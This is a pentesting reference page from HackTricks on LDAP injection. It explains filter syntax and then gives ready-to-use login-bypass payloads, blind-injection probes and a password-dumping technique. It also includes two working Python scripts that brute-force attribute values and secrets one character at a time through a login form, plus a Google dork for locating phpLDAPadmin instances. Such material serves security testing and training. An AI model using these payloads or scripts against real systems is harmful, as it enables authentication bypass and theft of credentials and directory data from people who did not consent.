LDAP Injection - HackTricks

# LDAP Injection

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## LDAP Injection

### LDAP

If you want to know what is LDAP access the following page:

389, 636, 3268, 3269 - Pentesting LDAP

LDAP Injection is an attack targeting web applications that construct LDAP statements from user input. It occurs when the application fails to properly sanitize input, allowing attackers to manipulate LDAP statements through a local proxy, potentially leading to unauthorized access or data manipulation.

EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf

Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Absolute TRUE
(|) = Absolute FALSE

For example:
`(&(!(objectClass=Impresoras))(uid=s*))`
`(&(objectClass=user)(uid=*))`

You can access to the database, and this can content information of a lot of different types.

OpenLDAP: If 2 filters arrive, only executes the first one.
ADAM or Microsoft LDS: With 2 filters they throw an error.
SunOne Directory Server 5.0: Execute both filters.

It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.

The filter has to start with: `&` or `|`
Example: `(&(directory=val1)(folder=public))`

`(&(objectClass=VALUE1)(type=Epson*))`
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`

Then: `(&(objectClass=``*)(ObjectClass=*))` will be the first filter (the one executed).

### Login Bypass

LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.

    user=*
    password=*
    --> (&(user=*)(password=*))
    # The asterisks are great in LDAPi

    user=*)(&
    password=*)(&
    --> (&(user=*)(&)(password=*)(&))

    user=*)(|(&
    pass=pwd)
    --> (&(user=*)(|(&)(pass=pwd))

    user=*)(|(password=*
    password=test)
    --> (&(user=*)(|(password=*)(password=test))

    user=*))%00
    pass=any
    --> (&(user=*))%00 --> Nothing more is executed

    user=admin)(&)
    password=pwd
    --> (&(user=admin)(&))(password=pwd) #Can through an error

    username = admin)(!(&(|
    pass = any))
    --> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.

    username=*
    password=*)(&
    --> (&(user=*)(password=*)(&))

    username=admin))(|(|
    password=any
    --> (&(uid=admin)) (| (|) (webpassword=any))

#### Lists

- LDAP_FUZZ
- LDAP Attributes
- LDAP PosixAccount attributes

### Blind LDAP Injection

You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:

    #This will result on True, so some information will be shown
    Payload: *)(objectClass=*))(&objectClass=void
    Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))

    #This will result on True, so no information will be returned or shown
    Payload: void)(objectClass=void))(&objectClass=void
    Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

#### Dump data

You can iterate over the ascii letters, digits and symbols:

    (&(sn=administrator)(password=*))    : OK
    (&(sn=administrator)(password=A*))   : KO
    (&(sn=administrator)(password=B*))   : KO
    ...
    (&(sn=administrator)(password=M*))   : OK
    (&(sn=administrator)(password=MA*))  : KO
    (&(sn=administrator)(password=MB*))  : KO
    ...

### Scripts

#### Discover valid LDAP fields

LDAP objects contains by default several attributes that could be used to save information. You can try to brute-force all of them to extract that info. You can find a list of default LDAP attributes here.

    #!/usr/bin/python3
    import requests
    import string
    from time import sleep
    import sys

    proxy = { "http": "localhost:8080" }
    url = "http://10.10.10.10/login.php"
    alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

    attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

    for attribute in attributes: #Extract all attributes
        value = ""
        finish = False
        while not finish:
            for char in alphabet: #In each possition test each possible printable char
                query = f"*)({attribute}={value}{char}*"
                data = {'login':query, 'password':'bla'}
                r = requests.post(url, data=data, proxies=proxy)
                sys.stdout.write(f"\r{attribute}: {value}{char}")
                #sleep(0.5) #Avoid brute-force bans
                if "Cannot login" in r.text:
                    value += str(char)
                    break

                if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
                    finish = True
                    print()

#### Special Blind LDAP Injection (without "*")

    #!/usr/bin/python3

    import requests, string
    alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

    flag = ""
    for i in range(50):
        print("[i] Looking for number " + str(i))
        for char in alphabet:
            r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
            if ("TRUE CONDITION" in r.text):
                flag += char
                print("[+] Flag: " + flag)
                break

### Google Dorks

    intitle:"phpLDAPadmin" inurl:cmd.php

### More Payloads

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.